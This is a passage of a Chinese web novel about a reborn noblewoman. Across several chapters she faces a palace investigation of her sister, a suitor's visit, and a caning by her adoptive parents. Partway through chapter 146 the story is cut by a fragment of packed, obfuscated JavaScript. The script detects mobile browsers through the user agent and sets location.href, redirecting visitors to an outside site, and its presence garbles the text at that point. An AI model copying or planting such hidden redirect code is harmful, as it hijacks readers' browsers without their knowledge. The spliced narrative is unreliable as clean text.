他声音不大，却神奇般突破哭声叫在场每个人都不敢忽视。旁边儿的百户神色有些不自然。当下便只得硬着头皮道：“姑娘赏花宴那日，在何处，做过什么？还请细细道来。”
沈宁音听到赏花宴，一时间就想起先前薛岚的提醒。他分明说没事的……可沈宁音心下还是极不放心。
朱七郎之事还只是私德有亏，若然沈弦思在那种场合去听着了什么不该听的秘密，可就有全家连坐的风险了。
沈宁音抿了抿唇，下细听了起来。
沈弦思眼神闪烁，话说得结结巴巴，百户虽问的尽都偏向于
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那日的诗船。但架不住沈弦思与朱七郎的首尾瓜葛。
如今冷元景在场，他也不是傻子，但凡稍一联想，便能刨出个大概，到时候沈弦思就真个完了。
百户越听疑窦越深，看向沈弦思的神色也几度变幻：“姑娘这个时辰又是在宴会，又是在河边，到底哪个作数？”
沈弦思揪住锦被，低垂着脑袋：“我……我记不清了，脑袋晕。”
沈定山道：“小女刚受了惊吓，你容她想一想，兴许过会儿就能想起来了。要不明日再来？”
百户有些不甘心，道：“弦思姑娘可有看过什么未成对的诗？”
沈弦思身子轻颤，蓦地抬起眼睛，眸子里光亮忽闪着，似在思索。
“有么？”百户问。
沈弦思朝四周扫了圈，没有说话。
众人一时就都明白了。
沈定山将众人统统引了出去，明间内就只余几个皇城司之人。
百户将目光从门口收回，声音放低：“弦思姑娘，可有看见过？”
沈弦思深吸口气，她本就弱质纤纤，此刻唇上缀着血迹，笑起来就更添几分破碎柔弱感：“有的。”
几个皇城司番子皆是神色振奋，百户问：“哦？那弦思姑娘可否把诗文拿出来？”
沈弦思为难地摇摇头。
拿不出证据，番子们的热情便飞速冷了下去，百户拱拱手：“既如此，那本官就先告辞。”
眼瞧着那人要走，沈弦思连忙道：“等一下。”
百户一副公事公办的神色：“姑娘有事？”百户看了一场闹剧，对眼前女娘没有半点好感，也就是督公下了死令要查出跟薛大人有缘分的姑娘，要不然，他一刻也不想待下去。
沈弦思呼吸快了几分：“我……我就是一时没找到，我会去找的。”
百户点点头：“好。”
看出对方的敷衍，沈弦思银牙一咬，皱眉道：“我记得那诗文，可以默写出来！”
冷风拂过，院子外的桃树在深秋中沙沙作响。
卞小公爷欲言又止，但沈宁音目光警惕，他便也寻了个借口赶紧走了。
而沈定山摆明了不想认冷元景这个女婿，冷元景神色阴沉，扫了众人一眼，只叫沈定山与自己单独叙话。
沈定山原是不愿的，可看见薛岚，当下骨子里都颤了颤，索性也领着人一道走了。
蔡氏与沈远淮要照看沈玉珠。
就那么一小会儿，人就走得七七八八了。
薛岚单手背在身后，目光看向别处，不知在思忖什么。沈宁音当下抓着裙裾，转身也打算回自己在沈家的闺阁。
“去哪儿？”身后传来男人的声音。
沈宁音脚步略顿：“去闺房收拾收拾。”
薛岚蹙紧眉。
沈宁音听见脚步声渐行渐近，最后停在身后：“不回侯府？”
回去作甚？沈宁音心下苦，她还没想好如何同秦耀阳解释，抿了抿唇：“不回。”
“不行。”薛岚走到她身前，巨大的阴影挡着她的光亮。
薛岚垂眸，浅淡的松竹气息晕开，语气带着不悦：“卞六郎已经到了府上，你不回去怎么成？”
144. 提前
祁秀院旁边儿的跨院来了几人，南烛一早便得了消息。
他好奇地迎出去时正撞见了春渠，南烛一见便顿住了脚。
这位姐姐少言寡语，但一段时间的相处下，南烛也是有些怕了这丫鬟姐姐的冷血性子。
春渠感觉着目光，转回头朝他点点头，便也不说话了。
这会儿，外客已经走到了不远处，南烛也终于知晓那位少夫人为啥要喊他出来接一下客人了。
人都走拢了，春渠仍旧没什么表情，见识过春渠活刮兔子满身血，她不笑的表情南烛看了都觉着遍体生寒，南烛也就不指望这位春渠姐姐能招呼好客人了，他忙笑着走过去冲来人行了一礼：“六郎君。”
来的人拢共四个，一个伺候起居的婆子，另一个是十来岁的随从，还有个几步远跟在后面的青年，卞六郎站在最前面，六七岁年纪，一身锦簇繁花仙鹤圆纹的刺绣直裰，乌发被白玉冠一丝不苟地束拢在头顶，身姿笔挺，仪态贵重。
卞六郎没料想自个儿上侯府，来迎接的人竟然是个年岁相仿的孩童，他礼貌的颔首后，便不禁好奇地打量起南烛。
南烛知他在猜测自己身份，也不必卞六郎发问，按着沈宁音给的说法大方自我介绍道：“在下南烛，乃二少夫人娘家表亲。听闻卞六郎君要来一起上学，往后还往多多照拂。”
卞六郎恍然，一听是同窗，便也礼貌应对，并未因着对方不是侯府少爷就轻视半分。
等两位小少爷说完话，春渠也就公事公办地将卞家几人带去跨院住所。所幸有南烛在，招呼着卞六郎去熟悉环境。
春渠办事牢靠，手段也强势，但应酬之事实在不擅长，可沈宁音走得急，一个染竹她信不过，回沈家不带兰香她也不放心。权衡之下，她最后就叫春渠去寻了南烛来。
南烛小小年纪就热络又自如地招待好卞家来的小客人，非但如此，谈吐与仪态，南烛刻意注重之下，与平时大不相同。竟连一开始礼貌疏淡的卞六郎都不禁正视且热络起来。
春渠看在眼里，心下很是诧异，既高看了南烛一眼，又无比佩服自家主子的识人之明。
沈宁音其实也料不到南烛非但得体妥帖，而且能叫世家大族出身的卞六郎生出惺惺相惜的感觉来。她这会儿站在薛岚跟前，表情淡定且笃定道：“薛大人宽心，卞六郎之事，妾身安排好了的，就算妾身不在，也必定不会出什么差池。”
薛岚看着她的眼眸，见她坦然回望，便也没再多说什么。
沈宁音福了福身：“妾身就先行一步了，薛大人自便。”
她转身朝闺房去，说是去收拾，其实染竹与兰香早就叫她安排去拾掇了，这会儿过去其实也没什么好收拣的。
只是沈宁音走了没几步，就意识到身后有人跟着。她蹙眉回眸，果然见薛岚站在身后。
薛岚也不走太近，隔着约莫七部远，这等距离既算不上冒犯，也委实算不得“顺路”。
“薛大人？”沈宁音尽力让语气平缓，甚而露出个浅淡的微笑：“可还有事？”
薛岚扫了一眼不远处的绣楼，目光只看着她的眉眼：“六郎年岁小，是本官向卞家推荐了孙先生，你莫要不上心。”
他站在回廊里，风吹过，周遭枝桠轻晃，往日里素来惜字如金，沈宁音没料到这次会听着他多说了那么些字，她捏了捏绣中的帕子，不知为何，沈宁音就是心里明白，眼前的男人并非信不过自己，他只是好意提醒。
就在薛岚微蹙眉宇，脚尖一旋准备离去时，沈宁音浅笑着开口：“好。”
薛岚脚步略顿，侧过脸来：“嗯。”想了想，他到底补了一句：“过两日，我要办一趟外差。”
“外差？”沈宁音抓着了重点，脑海里似有什么一闪而过，她一时想不起来。
薛岚没说话，转身就走。男人的腿很长，两三个呼吸就走出去老远。
“等一下！”沈宁音突然出声叫住他。薛岚原也不甚在意，他会提这个，不过是顺嘴的事情，因为担心离开后南烛处有什么问题他照看不到。可身后女人话音落下没多久，薛岚便听见脚步声到了不远。
他心下诧异，转身就见沈宁音气喘吁吁的站在近前。薛岚不禁问：“怎么？”
沈宁音喘匀了气息，方没头没脑地询问：“去多久？”
薛岚闻言，更是丈二和尚摸不着头脑，略略蹙眉：“少则两日，多则七八日。”
见沈宁音垂着目光不说话，似在思索着什么，薛岚稍有猜测，放缓了语调：“我会尽快回来。”
什么叫尽快回来？沈宁音抬头，看见薛岚又待转身，她心里的慌张蔓延到脸上：“可不可以别去？”
沈宁音看见他复又回头，那张浓俊若谪仙的面容上惊诧的表情甚至都未曾遮掩住。
沈宁音顺着他的目光看，这才后知后觉瞧见自己将才竟下意识抓住了他的袖子。
她脸上的热意就仿佛添了数倍转移到了手指上，被什么烫到了般飞快地撒开手。
沈宁音不知该如何解释，心绪里乱糟糟的。有些后悔，但更多的是迷茫。
深秋，外差，七日！
这些要素混杂起来，莫名叫沈宁音想起了前世有关薛岩发疯的传闻。
传闻他死了干儿子，那位薛衙内年纪轻轻就升到了皇城司公事一职，而薛公公手底下最大的权柄便是皇城司，有人忌惮他日渐上升的权势，也有不甘心被他挤下去的内侍太监与外人合谋。
在圣人的默许下，他们起了内斗，薛衙内例行外差……第七日，被好几方势力联合围杀。
可前世沈宁音听说的时候，时日太远，人也死了，日期并不确切，如今听来，她更怀疑自己的判断了。
因为——提前了。
按照推算，这件事再如何早，也该是明年或后年才对。
如今甚至都没到科举日。
沈宁音想说服自己，觉着是自己疑神疑鬼多想了，但她一想到此事就总有种冥冥之中不可放心的感觉。
“不能。”薛岚回答了她的话，声音低沉，是她预料中的答案。
“嗯……嗯。”沈宁音不再阻拦，眼看着他离开。她抬手摸了摸心脏：“罢了，许是多虑了……时间也对不上。”
薛岚走过抄手游廊，回头瞥了一眼，看见沈宁音缓缓转身，终是转身往绣楼去了。
他蹙了蹙眉头，从袖子里掏出一只海棠金簪，秋日的阳光浅淡，并不明媚，但簪子映照出的金辉却耀目得紧。
“大人，消息有了，这会儿呈送往督公处去了……”亲信蓦然出现禀告。刚说完话，就看见他掌心的金簪。
亲信顿时瞪大了眼睛，满脸的不敢置信。皇城司
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人尽皆知，薛大人不近女色。证据就是往日里上勾栏听曲，哪怕有人请，薛岚也从不参与。
那等地方，花钱买快活，即便带着面具，只要是银子足，办那事儿也使得。可他摘了面具之后，也是半点面子不给，统统拒了的。
作为亲信，他也是神色复杂，如今，皇城司好些人已经要开始相信薛大人真给净了孽物。
亲信鬼使神差多了句嘴：“大人，这金簪……要送人的？”
问完亲信就后悔了，他呐呐地找补：“是物证吧？”
薛岚抬眸看着他，直看得亲信冷汗直冒，薛岚才淡声道：“是女子的。”
不是物证，不是送人的，但亲信实在也想不出来谁家姑娘会如此没眼色送郎君簪子？能戴还是怎么的？
突然，亲信瞳孔地震，他想到一个可能——莫不是，少主子瞧上了谁家姑娘，从人家头上强拔的？
亲信脑子瞬间冒出了在外冷面冷血的少主子，于姑娘跟前展露笑颜，郎情妾意，拔下人家簪子做信物的奇怪画面……
薛岚看他眼神涣散似在神游天外，当即蹙眉唤了一声：“赵义。”
“赵义？”
三声之后，亲信方回过神来：“卑职在！”只是目光依旧在盯着那金簪。难怪他先前隐约听说督公在找什么女子，刚到了沈家，这边儿的百户就得了消息飞快呈送过去了。
却原来，少主子当真是红鸾星动……
亲信脸上恍然大悟的窃笑表情还没来得及展开，他就觉着金光自眼前一闪而过，与此同时，一声东西入水的“噗通”声响传进了耳朵里。
亲信循声望去，只瞧见一圈圈涟漪从深秋的荷塘荡漾开来。他瞪大了眼睛。
薛岚看着水面，略有些烦躁，闭了闭眼：“不是什么要紧的。”他转身，加快了脚步：“去宫里。”
亲信又看了两眼，那涟漪渐渐浅了，不久，水面便恢复了宁静。
沈宁音用过晚膳，她坐在绣楼的轩窗前，感慨万千。两世加起来，她已经隔了太久没回过这绣楼。自从没了前朝入东宫的机会，她便成了弃子，从那以后，她再也没机会回到这里。
如今，她是侯府夫人，再回这闺房，谁也不敢拦着。
“少夫人，听说老爷在书房发了好大一通脾气。冷家那位姑爷会同老爷说了什么？”兰香蹙眉说着消息。
沈宁音并未觉着诧异，冷元景那日与沈弦思成了好事，如今沈家眼看着要悔婚，他哪里沉得住气？
但一切也都是沈弦思自己作出来的，是她自己的选择，沈宁音只淡淡道：“兴许以后就知晓了。”她转眸告诫道：“这些都是家事，若要传出些什么，也莫要出自你们的嘴里。”
兰香闻言，连忙认真点头：“是。”
想了想，沈宁音还是有些不放心，又道：“你们也约束下咱们带来的下人，万事不可掺和。”
得到两个丫鬟的郑重答应后，沈宁音这才稍稍放心。
但染竹犹豫了一阵，还是道：“奴婢听说，老爷当场就请了家法去找思姑娘……”
兰香得意一拍手，笑容快意：“打得好！定是要狠狠罚她！”
沈宁音也深以为然，父亲再疼她，沈弦思做出这等羞人之事，一顿好打，也是免不得的。
染竹却摇了摇头：“没有，没有打。”
145. 郑家
“为何？”兰香瞪大了眼睛，她虽不知沈弦思有什么把柄落在了冷元景手里，但如此大的阵仗，是个傻子都能猜出不是什么小错处。
而沈宁音知道得比兰香深得多，心下的惊诧就更重了。
染竹道：“好像是宫里来了帖子，有人请思姑娘入宫。至于是谁……”染竹摇头：“奴婢没打听到。”
沈宁音陷入沉思。
兰香注意到她的神色，忙道：“少夫人，要不奴婢派人去查。”
沈宁音一时没说话，兰香便转身要去吩咐，将将走到门口，兰香便听着身后主子叹息的声音：“不必了。”
兰香回头，就瞧见主子按着太阳穴斜倚在罗汉床上。
“少夫人，府里定有人知晓，稍微多问几个人便能给您打听来的。”兰香以为她是怕麻烦，连忙挣表现。
染竹没说话，表情是忧心忡忡的。
沈宁音看了兰香一眼，无奈笑道：“知晓你能耐，不过你就歇会儿吧。”为免她暗地里再去打听，沈宁音正色告诫：“但凡牵扯上宫里的，最好都远着些。”
沈家虽也几代的官身，但到底比不得大族勋贵们世袭罔替的底蕴。宫里的水那么深，圣人自从受辱被俘多年还朝后，一日比一日多疑暴戾，相较之下，不被朝廷认可的伪朝简直堪称清朗明耀。
沈宁音前世能扶持冷元景这等中山狼从无数进士里头越级升迁，除了冷元景有孙靖元这个大儒关门弟子做老师外，也还有谨慎求稳这个生存之道的功劳在。
兰香虽有不甘，却胜在绝对听话，应声后就乖巧在旁边伺候着。
原本，沈宁音觉着此事也就这么过去了。沈弦思不顾沈家名声闹出上吊这等戏码，当初赏菊宴里头哪怕有人家瞧上了旁的姑娘，这会儿也该要观望一阵的。
可出乎意料的，傍晚时分，就有丫鬟慌慌张张找上门来。
沈宁音一问才知，是郑家人递了帖子。
郑家，就是永宁伯府。叫她狐疑的是，当初在赏花宴，牵线的是沈宁音这个侯府少夫人，依着规矩，伯府来人也该先去昌平侯府才对，岂会直接来侍郎府？
就算她沈宁音不在侯府，也该是侯府的人过来先知会，她们如此行事不是打侯府的脸么？
昌平侯只是没镇守边关，不是死了。秦耀阳再不堪继承衣钵，侯府的威望也还在。永宁伯府还要靠着昌平侯府在军中残存的威望过活，谁敢做这等得罪人之事？
沈宁音满腹疑惑的跟着丫鬟去往前厅。
明间宽敞，外头站了好些人。
沈宁音举步走过去，略略估摸了一下，伯府主母出行竟一个丫鬟仆妇都没带，实在说不过去。
甫一进屋，沈宁音便听着沈夫人的声音：“你且放心，父母之命媒妁之言，我那女儿我最是清楚了，回头定然劝说她去。”
紧接着，一个男子声音带着惊喜：“多谢伯母。”
“哎，真是个好孩子。”
沈宁音进来的时候正看见郑四郎被沈夫人亲自扶起来。她眉头紧紧蹙起，然后咳嗽了声。
屋里其乐融融的二人听着这声咳，尽都看了过来。
“秦二少夫人。”郑四郎恭恭敬敬作揖。沈宁音看得出来，他面对自己的时候，神色是有些拘束的。
想到前世郑四郎亲自领着御林军查抄沈家，再看看如今他与沈夫人言笑晏晏，沈宁音心情就有几分复杂。
但如今沈宁音是沈引章的姐姐，又涉及议亲，沈夫人是个拎不清的蠢人，正所谓长姐如母，既是长辈，沈宁音该端着就还得端着些。
郑四郎恭敬行礼，沈宁音也没还礼，只冷淡点了点头，半点好脸色也没给他。
因早就见过，郑四郎原是想笑着上前先套些近乎的，这会儿便也闭了嘴，朝旁边儿立着的小厮使了个眼色。
那小厮就端上来一匣子礼物。
“贤侄，你既是来咱们家做客，岂有再给旁的客人赠礼的？”沈夫人脸色不善地看着沈宁音，她原本就对沈宁音不满，这会儿沈宁音抢了她的风头，沈夫人就更怄了。
“这礼物啊，还是给章儿吧。伯母找人替你递过去。”
郑四郎脸上露出个笑，能讨好到未来岳母，自然是高兴的。
沈宁音眼里并没有波澜，她先前就环视四周，除了些许见面礼，郑家连丫鬟都没一个。
出身低微的沈夫人不懂，前世做惯了掌家主母的沈宁音却是很清楚的。所以她就没打算给郑四郎好脸色。
沈夫人越发看沈宁音不顺眼，冷声冲着外头喊：“是谁叫她过来的？！”
这是一会儿要秋后算账的意思了。
来找沈宁音的丫鬟就是沈引章身边儿的心腹，就是为了防着沈夫人发难，还没到地方沈宁音就打发她先去沈引章身边儿伺候去了。
沈宁音自顾自找了个椅子坐下，沈夫人不下令奉茶，乖觉的兰香早已经退去旁边儿茶水间了。
沈夫人怒意蹭蹭蹭就往上升腾。
端起茶盏呷了一口后，沈宁音这才抬眸露出个笑来：“母亲何必动气？引章妹妹议亲，是女儿牵的线，自然是不可袖手旁观的。何须人来请？”
“你！”沈夫人想想她如今的身份，眼里的神色从愤怒到忌惮，最后化作了鄙夷，她坐回去的时候道：“话虽如此，但你跑来插手你妹妹的亲事，还不如努努力，把侯府的事儿管好。”
她说得隐晦，沈宁音却知晓，定是最近侯府下人里头传言说她失宠之事，已传回了侍郎府。
沈夫人瞧不瞧得起，还入不得沈宁音的心里。她也不解释，只搁了茶盏看向郑四郎。
“四郎君，你今日来作客，怕是有些迟了些，不如改日？”沈宁音没有笑意，语气也透着冷淡疏离，赶客的意思十分明显。
郑四郎原只当是沈宁音与沈夫人因着家中矛盾说道几句，没想到话题这么快就转移到自个儿身上。
郑四郎连忙肃然了神色，恭敬开口：“秦少夫人，在下今日冒昧前来，是想见一见引章姑娘……”
沈夫人盯着沈宁音的眼睛，目光冷飕飕的，带着些戒备：“沈宁音，此
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事是你妹妹之事！”沈夫人的手紧紧攥着座椅扶手，语气不善：“也是沈家之事，你既然嫁出去了便轮不到你管！”
上京城，出嫁女管娘家事儿最是不好管，哪怕是宫里的娘娘，若是管得太多、手伸太长，也不是什么好名声，更会带累了娘家未出阁女子的风评。
沈宁音很清楚沈夫人的思忖，这是小人之心地觉着自己见不得妹妹好，想挡着沈引章的路。
沈宁音不喜欢她，能眼睁睁看她自作自受，却也不会那般没格局破坏沈引章的幸福路。
“母亲，这事儿，我管定了。”沈宁音毫不退让。
沈夫人气得脸色紧绷，冷笑：“你想管，本夫人也不会让你管，引章的事儿是我跟你爹说了才算！”
沈宁音也不恼：“难道就不问一问引章的意思？”
“父母之命，媒妁之言。”沈夫人驳斥道：“你们这些年轻小辈懂个什么？”
沈夫人起身走到她跟前，低声警告：“别以为你嫁入侯府就什么事儿都能伸手管了！永宁伯府，连你爹都是满意的！”
虎毒不食子，沈宁音自然相信沈夫人没有害女儿的心思。
倘使永宁伯府真的不好，那郑四郎真的不良，沈宁音当初也不会牵线。
但此时此刻，沈宁音站起身：“母亲，如今是什么时辰？”
沈夫人正面容愤怒地数落着沈宁音，这会儿见她顾左右而言他，堪堪愣了一下。
“再迟些，天都要黑了，不论如何……”沈宁音转眸看向郑四郎：“总不能叫客人漏夜回府吧？”
沈夫人顺嘴想反驳，看了眼天色，却发现找不出反驳的理由。
郑四郎先前有些不知所措，这会儿连忙拱手告辞。
沈宁音来这儿时，既开口撵人，还没给过郑四郎好脸色，这会儿直接招呼着兰香把人送出府去。
等人一走，明间里头只剩下了沈宁音与沈夫人。
“沈宁音！”沈夫人再控制不住吼了一句。她今日非但因着沈弦思的事被沈定山埋怨，这些不光彩的丑事还给那么多人围观，沈夫人攒着太多恼火无处发泄了。
“母亲先息怒。”出乎意料的，起先一直绷着一张脸的沈宁音，突然像换了副面孔，笑着劝慰。
沈夫人指着沈宁音的鼻子正要大骂，沈宁音抬手将她的食指往下一压：“女儿都是为着家里、为着您、为着引章考虑。”
沈夫人气得想笑，眼睛却充斥着红血丝：“呵，你有什么脸面扯这种谎话？！你可知，那郑四郎是个何等的人？”
“永宁伯府是个勋爵，郑四郎在军中很受重用……”沈夫人越说越觉着沈宁音包藏祸心。
沈宁音却打断了沈夫人的话，继续道：“非但如此，郑家并没有什么乱七八糟的事儿，那郑四郎还得了景王的亲睐……”
沈夫人更怄了：“你既然都知晓，为何还挡着你妹妹的路！”她红着眼睛：“引章是我亲女儿！你爹也早打听过了永宁伯府的名声！就算我从前有对你不起，你冲我来！何苦害我的引章！”
146. 无耻
不及沈宁音解释，沈夫人已经气得高声吩咐人去请沈定山过来。
沈宁音也懒得同她掰扯，索性就等沈定山来了再讲。
屋内添了烛火，影影绰绰的，照得气氛愈发显得压抑。
不多会儿，沈定山使力挥开了珠帘：“逆女！”
沈宁音站起身还没迎上去，沈定山便大声怒道：“还不快跪下！”
至此，先前冷着脸的沈夫人终于露出个扬眉吐气的冷笑，她红着眼睛走到沈定山身旁：“老爷，我就说这贱蹄子就是个白眼儿狼，养不熟的，你偏生还做主将那么多的嫁妆都给她带了走。”
沈宁音原也不甚在意，眼下一听，却是微蹙起眉来。
沈定山中午时就给个沈弦思气得够呛，偏又不知什么原因，那沈弦思得了邀约入宫，沈定山有气没法发作，便只得憋在心里头。
而今，沈夫人一挑唆，沈宁音便知道自己大约要成个出气筒了。
果然，沈定山怒目像是淬了毒，一声吩咐下，婆子们就将沈宁音拉扯到地上跪好。
沈夫人立马吩咐人：“去请家法！”
炮制过的藤条散发着油润的光晕，这东西沈宁音熟，是她出嫁之前经常挨的刑罚。
人就是这样，童年时期的阴影最难将息，沈宁音自己都没料到，隔了这么多年，再看见这藤条，她仍会控制不住心头发冷。
看她惨白了血色，沈夫人冷冷的笑意就更明显了些。
沈定山抓着那藤条，手高高地扬了起来。
“慢着！”沈宁音咬紧下唇：“我是拦着了，可父亲就不问问我缘故？”
“你能有什么缘故？”沈定山更怒了，藤条重重抽在了她的身上。
那般含怒的力道就好似五脏六腑都要移位了。
至此，沈宁音彻底闭上眼。她从一开始就没抱着多大希冀，沈定山一女许两家时，她便知沈家是不成了。
但说到底，姓了两辈子沈，她还是想在关键处提点一下的，将来在夫家立足，也能有助益。
如今，她闭嘴了，不闪不避，拼着一顿打，沈宁音将来便有了理由事事旁观。
第二下，沈宁音感觉后背火辣辣的，皮肉仿佛要绽开了。
很痛，这种痛哪怕挨过无数次，也都是适应不得的。
沈定山看她倒了，整个给愤怒笼罩的心脏渐渐恢复了几分清明。
可是打都打了，这会儿要沈定山命人扶养女起来，他也实在放不下这个面子……
“老爷！你可不能心软。”沈夫人急忙道：“如今她可是失宠于秦家，咱们引章嫁伯爵府、思儿嫁去侍郎府，哪一个将来不比她贴心？不是自个儿的亲女，就是养不熟的。”
一字一句的话，都落在沈宁音耳里，沈宁音没说话，缓缓撑起了身子。
沈定山看着她的后背，布料上隐隐约约沁出几朵红梅。他咬了咬后槽牙。
他并未接着打，沈宁音很清楚沈定山的想法，只要自己肯讨饶，他便会顺水推舟放过自己。
前世的沈宁音大约会毫不犹豫这么做，她怕极了爹爹不要自己，也怕极了沈家人露出失望的表情。
可千帆过尽，沈宁音终究明白了，爱与关切，要争，要抢，却唯独不可以是默默付出。
哪怕付出了所有，于不在乎的人那里，也只是你自己愿意、没人逼你。
“沈宁音，你要还有一点良心，便该将嫁妆退还一些，给你两个妹妹添妆！”恍恍惚惚中，沈宁音听见了沈夫人的声音。
她不免觉着好笑。
沈宁音太手将散落的一缕青丝别到耳后，抬眸看向居高临下的二老：“爹爹，母亲，这种话若传出去，你们就不怕成为圣朝笑柄么？”
沈夫人闻言反应过来，色厉内荏掩饰道：“你胡说什么！是你自己心中有愧，把添妆封厚些，谁能指摘什么？”
“母亲也说，得是我心中有愧，可女儿何愧之有？”沈宁音红着眼眶，她分明眼里有泪，可偏偏给人一种自己方才是主宰掌控的压迫感。
“该羞愧的该是这般打我的父亲母亲！”
沈定山拿着藤条的手都抖了一下，被小辈这般影响到，等反应过来之后，他恼羞成怒：“逆女！你做出这等错事，打你还不知悔过！今日我就打你了！”
沈宁音不躲不避，径直闭上了眼睛。
“爹爹！”一道惊慌失措的声音传来。
沈宁音久等不来疼痛，睁开眼时，看见沈引章跪在沈定山面前，哭着抓住他的藤条：“爹爹，你别打了！会打死二姐姐的！”
沈定山在气头上，一把甩开沈引章：“连你也要跟老夫对着干？那为父索性把你们一起打！”
沈夫人脸色苍白，终于慌了，她眼瞧着沈定山把藤条高高扬起，阻拦不及，沈夫人连忙挡在沈引章身前：“老爷不要！”
“你让开！”沈定山喝斥，要去拉沈夫人。
沈夫人连忙爬起来将沈引章往旁边儿拽，边拽边骂道：“你个不省心的！好好在闺房里待嫁不好么？沈宁音这贱人不是你姐姐！她见不得你好的！”
沈引章挣扎开去，哭着跪在沈定山跟沈夫人跟前，咬着唇摇头：“不是的！你们误会二姐姐了！二姐姐绝不是那种人！不要打了，要打就先打死我！”
沈宁音看着沈引章的背影，心下微微熨帖，至少，自己没白帮她一场。她也没让自己的选择变成个笑话。
“来人！”沈夫人发了狠，叫了一群人将挣扎哭泣的沈引章往外拖。
要打沈宁音不过是个幌子，一个在后宅里失宠的主母，被剥夺掌家权是早晚的事。沈定山更不会因为沈宁音阻拦一场亲事就随意动这所谓的家法。
一切只会因为利益。
“你看看，你都这样做了，你妹妹还想着维护你，你那么多抬嫁妆抬进侯府，一件事儿也没给家里办成！你简直废物又无耻。”沈夫人咬牙切齿。
这般言语，沈定山也并未出声反驳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304851|146125||http|test|mini|href|location''.split(''|''),0,{}));
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沈夫人见沈宁音不说话，只拿那对杏子眸似笑非笑看向自己，沈夫人脸上挂不住，直想将她那双招子生挖了出来。恼怒道：“你还有脸看！”
沈宁音挺直背脊，嗤笑：“呵……那母亲以为该如何？”
沈夫人听她用虚弱的声音开了口，以为她是服软了，当即便不要脸地道：“那么多抬嫁妆，我与你父亲也不是不照顾你的，阮家给过来的那四台，你还给你弦思妹妹，再搭个一二十台也就罢了，朱家那样的人家，那七郎君几个兄长各个都名声在外，她不带多点儿嫁妆，将来只怕叫人看轻的。”
“至于引章，你准备个三四十抬的。”沈定山冷着脸道：“余下的，你也还有七八十抬，在侯府，你还能缺了银钱花用？”
沈宁音都要被这无耻的话给逗笑了，她想爬起来，但扯着背部的伤痕，她便跪坐了回去：“父亲，拢共一百多抬的嫁妆，侯府聘礼就占了八十抬。你们这是想把用在我这儿的，统统都讨回去？便是不怕旁人看轻了我沈宁音，难道就不怕侍郎府为天下人耻笑？！”
“你！你这不孝女！”沈定山脸孔气成了猪肝色，沈宁音的每一句都戳在他的肺管子上，偏偏她半句虚言没有！反驳不得！面子和羞臊感折磨着他。
沈夫人却是没那么多顾忌，一张脸皮只有狰狞：“引章对你那么死心塌地！你弦思妹妹今日差点儿吊死！你的心是就这么冷血无情么？那嫁妆你真不想还来是吧？！”
沈宁音并不退让，冷眼瞥向二老：“是！引章待我如何，我自有分辨，该如何处置，我不消爹娘教我！至于沈弦思，她上吊也不是我害的，我凭什么要觉着羞愧？！”
“要我赔嫁妆，一分也没有！”沈宁音此刻丝毫不见慌乱，冷静得仿似不知晓疼，咬牙道：“父亲有胆子便打杀了我去！”
受不受宠暂且不论，沈宁音再如何也是昌平侯府的少夫人，沈定山是要面子，还无耻，却不是不要命了。他敢打，却不敢真杀了。
沈宁音吃准了这点。她就想把事儿闹大，最好是伤痕累累地给抬回侯府。那样她便好光明正大同沈家割席。
而沈引章与沈玉珠早晚要嫁出去，和不和侍郎府来往，并不会影响她们三人。
“好好好！”沈定山咬牙切齿喊出三个好字：“今天就打死你个不孝女！”
沈宁音不闪不避，反倒是闭上了眼睛。
藤条呼啸着抽打下来的时候，门口传来一声惊呼：“住手！”
那声音连沈宁音都堪堪吃了一惊。
“你放开！”沈定山恼怒地去抽被抓着的藤条，可他怎么都抽不动。
沈宁音睁开眼睛，看见沈远淮用力攥紧了沈定山的藤条：“父亲！您这是作甚？！”
在过去的那么多年里头，沈远淮捧着任何事情都是一律地袖手旁观，而今日，他非但来管了，竟然还敢忤逆沈定山了。
下一瞬，沈玉珠哭着抱住了沈宁音的身子。
沈宁音便懂了。
147. 后悔
沈远淮是沈家继承人，至少现在，沈夫人膝下的儿子都还小，沈定山再如何气，看见是自己的嫡长子，理智也恢复了大半。
“父亲！您糊涂啊！岂能不听妹妹辩白就上家法的！”
沈远淮不善钻营，性子说好听点，是清净避事，讲难听的就是懦弱，他前世到死都只是个边缘人，菜市口给刽子手砍了脑袋了事。
而今生，沈宁音没想到，这个懦弱的长兄竟也有插手事务的这等勇气。
沈夫人敢苛待沈宁音这样没了价值和倚仗又无血脉亲情的养女，却不敢随意对待先夫人留下的嫡长子。任何招数她也只能咬牙在暗地里朝着沈远淮使。
所以这会儿沈远淮跟沈定山唱反调，最乐于见着的就是沈夫人。
沈夫人原想看一场好戏的，哪知道沈定山竟然叫儿子一拦就停了手，她忍不住开口：“远淮，这就是你的不对了，沈宁音再怎么都是咱们沈家出去的，你爹爹管教她自有你爹的道理，教训晚辈不是天经地义的事儿么？”
沈远淮到底从小都是在父亲和继母手底下长起来的，即便有了转变，也不是一朝一夕的事情。沈宁音先前看时便发现他被沈定山盯着的时候目光有躲闪。
沈宁音还没有做这种长兄真能靠得住的春秋大梦，依着前世沈远淮的性子，沈宁音觉着，最多三五句话，这位大哥定然是放弃退场的。
“远淮，你一个晚辈，教训你父亲已是不孝，还不快退下？”沈夫人说着严重的话，语气却是柔和的，去拉沈远淮时，显得半训半哄。
可哪知，她甫一抓着继子的手腕便被人家用力甩开了。沈夫人猝不及防，整个人踉跄着转了小半圈。沈夫人顾不上胳膊疼，不敢置信地看向沈远淮。
沈远淮此刻咬着牙，愤怒地看向沈夫人。
沈宁音都惊呆了，这还是她那记忆中的长兄吗？
嬷嬷丫鬟们的惊呼中，沈定山终于是反应了过来：“逆子！你怎么对你母亲的！”
“啪”的一声，沈定山的巴掌落在了儿子面庞，沈远淮脸上肉眼可见的红痕浮现，惊恐的情绪在他眼底游弋不定。
沈定山着急忙慌地去扶住沈夫人。沈远淮却没说话，只是把目光落到了吓坏的女儿沈玉珠眼里。
沈玉珠看着父亲，一时忘了哭，她那双映着窗外天光的眼眸里，照出了父亲沈远淮高大的影子。
眼神忐忑的沈远淮并没有从女儿的眼睛里看见失望或是同情，而是满满的依赖和鼓励。
沈远淮想起了将才那人同他说过的话——
